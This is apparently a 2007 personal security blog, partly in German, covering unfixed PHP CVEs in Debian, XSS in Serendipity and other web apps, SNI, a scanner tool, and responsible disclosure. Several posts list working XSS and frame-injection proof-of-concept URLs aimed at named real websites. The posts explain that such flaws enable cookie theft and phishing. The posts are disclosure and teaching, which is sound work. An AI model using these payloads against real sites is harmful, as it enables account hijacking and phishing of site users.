Hanno's blog

Recently I had a discussion with someone about the security of various linux distributions where he claimed Debian stable to be very secure and that they use old versions where they backport all occurances of security issues. This is a common assumption, too bad that it's wrong.
I want to document this to demonstrate the dangerousness of opinions like »stay with the old software«, »never touch a running system« and alike that are not limited but often found in the Debian community.

I had a look at the security policy on a package recently very popular for it's vast number of issues, namely php. Their last php-update on php5 was in july. They have a heavily patched version of php 5.2.0 and according to their changelog the last thing they patched was CVE-2007-1864.

Now that probably means that CVE-2007-3996, CVE-2007-3378, CVE-2007-3997, CVE-2007-4652, CVE-2007-4658, CVE-2007-4659, CVE-2007-4670, CVE-2007-4657, CVE-2007-4662, CVE-2007-3998, CVE-2007-5898, CVE-2007-5899, CVE-2007-5900 are unfixed. Oh, and before you ask: This list certainly is incomplete, it's just what I found without much hassle.

Not only looking at php5, php4 is still officially distributed by many vendors, some hosters still use it. You can't really blame them, as php.net announced it to be supported until 2007-12-31. But that's theory, in fact, nobody looks if the various recent issues also apply to php 4, most recent advisories don't mention it. Fact is, at least CVE-2007-3378, CVE-2007-3997, CVE-2007-4657, CVE-2007-3998 also apply to php 4 and are unfixed in their latest release 4.4.7 (not neccessary to mention that they're not fixed in the debian stable php4 package).

If someone prefers to stay with old software, it's up to them. But be serious. It's probably a hell-job to get all the recent security issues in an app like php backported to some ancient version. A quick check showed me that debian isn't able to do that. If you can't do that, don't claim it's in any way »supported«. Because doing that put's other people in dangerous situations.

I recently stepped upon some XSS issues in Serendipity.

The first is in the remoterss-plugin, which can be used to display the content of an RSS feed in the sidebar of a blog. It didn't escape links, so JavaScript-Code could be injected by malicious RSS feeds. This plugin is shipped with the base version of S9Y. They've released 1.2.1 this weekend which has the fix.
If you're using the remoterss plugin, you should upgrade to 1.2.1 as soon as possible. This issue is named CVE-2007-6205.

The other one is in the external mycalendar-plugin. It also allows unescaped content inside links. This wouldn't be a real issue, as this form should only be accessible by the blog administrator. But the form had no CSRF (Cross-Site-Request-Forgery) protection, so an attacker could trigger this form and thus inject javascript on the blog-page. This has been fixed within version 0.13 of the plugin, so if you're using it, please upgrade. CVE-2007-6390 now assigned.

Beside I'd like to note that I got fast replies to my reports and the s9y devs fixed them quite quickly. Thanks for that!

A big problem with web security in the past was that it was impossible to have https-hosts with more than one certificate per IP. This is due to the protocol design of https, which needs to establish an ssl-connection with the certificate before the hostname is transferred.

There is a solution though, called Server Name Indication (SNI) and part of TLS. Strange enough, client compatibility isn't that much of a problem. Firefox, Opera and IE already support it in their current versions, konqueror will with kde4, I've no information when it'll hit safari. Oh, and I haven't testet w3m, lynx, links and wget yet, but if you want, feel free to add your experiences to the comments :-)

The problem was that until some weeks ago, openssl didn't support SNI, apachen mod_ssl didn't, lighttpd didn't. Only GnuTLS, but mod_gnutls is considered unstable by it's authors. With OpenSSL 0.9.8f, TLS Extensions and with them SNI landet in openssl, apache still needs patches.

We've now implemented SNI on schokokeks.org, which you can test:
https://www.schokokeks.org/
https://www.hboeck.de/
https://www.fabian-fingerle.de/

If your browser supports SNI, you should see different certificates, all on the same IP. All certs are cacert-signed, they also have a Wiki page from the VhostTaskForce for SNI and alternative solutions.

One of the biggest threats in computer security today are web applications. There's a vast number of issues found in popular web apps, mostly cross site scripting, cross site request forgery and sql injection. For a long time I had the idea of a tool scanning through webroots and looking for popular web applications, comparing them with a database of their latest security issues. In the past weeks, I finaly managed to get some code done.

It's a quite simple python-script (don't cry about the source quality, I haven't done real coding for ages), together with a database of some popular applications. I'm looking forward to hear feedback. The usage is simple, just do something like this:
freewvs /home/joe/websites/foo /home/guest/websites/bar
Typical output looks like this:
WebsiteBaker 2.4.3 (2.6.5) CVE-2007-0527 /home/hanno/freewvs/test/websitebaker
Drupal 5.1 (5.3) CVE-2007-5416 /home/hanno/freewvs/test/drupal
PhpWebGallery 1.5.1 () CVE-2007-5012 /home/hanno/freewvs/test/phpwebgallery
Mostly self explaining. The found app at the beginning, the version where the issue was fixed in brackets, the CVE-ID (or some other vulnerability id, in doubt an URL) and the path.

The biggest work to do is probably to get more applications added to the database and to keep the database updated. It's format is pretty self-explaining, so I'm waiting for your patches.

Get it here: https://freewvs.schokokeks.org/

Kleine Lehre von heute: Es ist prinzipiell keine gute Idee, wenn die Fehlermeldungen eines Web-Frameworks die Zugangsdaten zur Datenbank enthalten. Wenn sich dann gleichzeitig noch unter leicht auffindbarer URL ein phpMyAdmin befindet, ist das eher noch schlechter.
(URL und Projektname gibt's erstmal nicht, weil das bislang nur teilweise gefixt wurde)

Desweiteren soll es jetzt ein neues, aktiveres Stadtblog für Karlsruhe geben. Vielleicht schreib ich bei Gelegenheit auch mal das ein oder andere.

Ansonsten gab es einige Ideen in Richtung Barcamp auf Wasser (Bodensee oder Rhein). Hört sich erstmal ziemlich cool an, bin gespannt was daraus wird.

Links: Webmontag Karlsruhe

I thought I'd give you some more (all have been informed months ago):

http://thepiratebay.org/search/"><script>alert(1)</script>
http://www.gruene.de/cms/default/dok/144/144640.dokumentsuche.htm?execute=1&suche_voll_starten=1&volltext_suchbegriff="><script>alert(1)</script>
http://www.terions.de/index_whois.php?ddomain="><script>alert(1)</script>
http://www.eselfilme.com/newsletter/newsletter.php?action=sign&email="><script>alert(1)</script>
http://www.region-stuttgart.de/sixcms/rs_suche/?_suche="><script>alert(1)</script>
http://reports.internic.net/cgi/whois?whois_nic="><script>alert(1)</script>&type=domain

I still have some unresolved xss vulnerabilities around. It seems to be common practice by many web application developers and web designers to ignore such information.

This time we have gobi, a cms system based on the quite popular javascript application server helma.

http://int21.de/cve/CVE-2007-3693-gobi.txt

More to come. As this xss stuff is far too easy (try some common strings in web forms, inform the author, publish some weeks later), I think about doing some kind of automated mechanism to search and report those vulnerabilities.

I recently wrote that I'm sometimes a bit unhappy how security issues are handled in free software project.

Now, to have some contrast, today I'll talk about an example how to do it right. Serendipity, the software I'm using to host this blog, had an SQL injection vulnerability. On the same day, they announced it and provide updated packages. The finder of the vulnerability is also mentioned. Now, it is only able to get password-hashes, many other projects probably would've treated this vulnerability as »low-impact« or something like that.
But beside that, they also provide some tipps how to check if the vulnerability has already been exploitet and suggest to change user passwords.

A while back, there was another vulnerability reported in serendipity. The authors said they don't think that it's really a vulnerability and it probably can't be used for anything evil. But anyway, an update was released and announced just to be sure.

Now, that's good security-work. The fact that serendipity has very few vulnerabilities at all already is very good. The fact they treat the few ones proper is even better. Some other projects should have a look at that.

It's an often told story that the free software community cares more about security. That it's much better because everyone can look at the code. While this may sometimes be true and I know many free software projects really care about security issues, often enough it's the exact opposite.

On 26.04., some guy called Marsu released an advisory about the GIMP. Loading files in the sunras-format can lead to a buffer overflow. Now, while it was silently fixed in svn, for a month they didn't put an advisory on their page and they didn't provide an update. Even with the release of new versions (2.2.15, 2.3.17), they somehow »forgot« to mention that it was a security-update.
Now, after looking into the NEWS-file (which is their Changelog), for 2.2.15 there's this little line:
- guard against a possible stack overflow in the Sunras loader (bug #433902)
They didn't mention the word »security«, they didn't give credits to Marsu, they didn't provide a reference to the advisory or the CVE-ID. Now, even worse, for 2.3.17, they forgot to mention that bug at all (it's probably part of the mentioned »lots of bug fixes«).

Now one might say this isn't that critical, because who uses sunras (I also never heared of that format before)? But think about this: I could mail someone a crafted sunras-file, saying it's an old image I found on some backup HD, together with the note that gimp can open it. I think it's not unlikely that someone might open it, especially with some intelligent social engineering. Beside that, EVERY SINGLE security bug should be taken serious.

Now, don't take me wrong. I love the GIMP, it's a great application. I also think that free software is an important precondition for secure software. But it's not the only thing. And as long as many people in the free software community treat security bugs like this, it's no better than those in the proprietary world.

Now, once another episode of cross site scripting disclosure. This time we have some free software web applications. Sadly, none of them was able to provide a fix in a decent timeframe.

CVE-2007-1871 XSS in chcounter
CVE-2007-1872 XSS in toendaCMS
CVE-2007-1873 XSS in mephisto

It's terrifying how many sites there are out there with XSS-issues.

http://www.netbeat.de/bestellen/domaincheck.html?<script>alert(1)</script>
http://www.netbeat.de/support/kommentare.html?name="><script>alert(1)</script>
http://www.symlink.ch/users.pl?unickname="><script>alert(1)</script>
http://www.stuttgart.de/sde/search.php?search=%22><script>alert%281%29</script>
http://www.holidayranking.de/search.html?searchSearchString="><script>alert(1)</script>
http://www.freecity.de/suche/index.phtml?gosearch=yes&words="><script>alert(1)</script>
http://search.netdoktor.com/results.html?qt="><script>alert(1)</script>&la=de
http://www.vfb.de/de/suche/index.php?words="><script>alert(1)</script>
http://www.dvd.de/dvd-and-date/alledvd.asp?strTxt="><script>alert(1)</script>

Note: All have been informed more than a week ago. I also had a bunch of others that got fixed after notification of the webmasters.

Napster and MPAA still unfixed.

Folgende Nachricht schrieb ich an den Support von Napster (das ist dieser DRM-Shop, hervorgegangen aus dem Label eines längst vergessenen Projekts):

Folgende, überaus kompetente Antwort erhielt ich:

Ich wusste doch immer dass die von der Filmindustrie das mit dem Internetz nicht verstanden haben:

Note: This is just a short form of a german article I posted today. E-Plus is a big german mobile telephony provider. I've found a bunch of XSS together with Alexander Brachmann (responsible disclosure, all reported to E-Plus before, probably more to come).

For my english visitors, here are the urls:
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script>
http://www.eplus.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write('
http://www.eplus.de/frame.asp?go=');alert('

Already fixed ones:
http://www.eplus.de/frame.asp?go=http://www.google.de/
http://www.eplus.de/frame.asp?go=http://www.eplus.de@www.google.de
http://www.eplus.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus.de/frame.asp?go=http://www.eplus.de.mydomain.com

Von XSS (Cross Site Scripting) spricht man, wenn es durch Usereingaben möglich ist, bei einer Seite eigenen HTML und JavaScript-Code einzufügen. Das ist insbesondere dann ein Problem, wenn die Seite (auf der selben Domain reicht) in irgendeiner Weise Sessions und Accounts nutzt. Warum? Weil es trivial möglich ist, mit etwas JavaScript-Code das Session-Cookie zu übertragen und somit den Account zu hijacken.

Ein simples Beispiel:
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script>

Durch die bloße Eingabe von "><script>alert(1)</script> oder <script>alert(1)</script> lässt sich jedes Formular auf triviale XSS-Probleme checken (einfach mal ausprobieren).

Problemfall Frames: Aufgrund der Tatsache, dass ein bestimmter Framezustand nicht in einer URL festhaltbar ist, haben sich viele Menschen mehr oder weniger sinnvolle Fakes ausgedacht, die dann häufig in der Form http://mydomain.com/framescript?location=siteinframe daherkommen.
Nun kann man sowas ausnutzen, um in einem Frame eine Fremdseite darzustellen. Bis vor kurzem funktionierte dies noch:
http://www.eplus-unternehmen.de/frame.asp?go=http://www.google.de/
Kurze Zeit später wurde selbiges gefiltert, mit folgendem kam man aber immer noch weiter:
http://www.eplus.de/frame.asp?go=http://www.eplus.de@www.google.de
http://www.eplus.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus.de/frame.asp?go=http://www.eplus.de.mydomain.com
Gehen inzwischen alle nicht mehr.
Problem? Phishing. Funktioniert selbiges bei einer Bank oder einem sonstigen Unternehmen, bei dem größere Beträge eine Rolle spielen, ist es für Phisher attraktiv, unbedarften Menschen eine Nachricht zu schicken, die eine echt aussehende URL des Unternehmens enthält.

Was bei obriger URL nach wie vor funktioniert, ist eine etwas trickreichere JavaScript-Injection:
http://www.eplus.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write('
http://www.eplus.de/frame.asp?go=');alert('
Das schöne hierbei ist, dass die Variable direkt in bereits bestehenden JavaScript-Code eingefügt wird.

Desweiteren hat eplus noch mehr Domains und anderswo funktioniert es noch:
http://www.eplus-unlimited.de/3_1_jingles/index.jsp?toLoad=http://www.google.de//

E-Plus wurde vor über einem Monat mit den ersten Lücken kontaktiert. Die Schließung erfolgte schleppend, weswegen mir die Veröffentlichung hier angemessen erscheint. Die Veröffentlichung wurde vor einer Woche angekündigt. Es wurden keine Lücken publiziert, von denen E-Plus nicht schon mindestens vor einer Woche bescheid wusste.

Credits gehen vor allem an Alexander Brachmann.

In aller Regel betreibe ich Responsible Disclosure: Vor einer öffentlichen Publizierung wird der Anbieter oder Autor der Software mit Vorlauf informiert.

Heut abend beim Webmontag gibt's ne Kurz-Präsentation.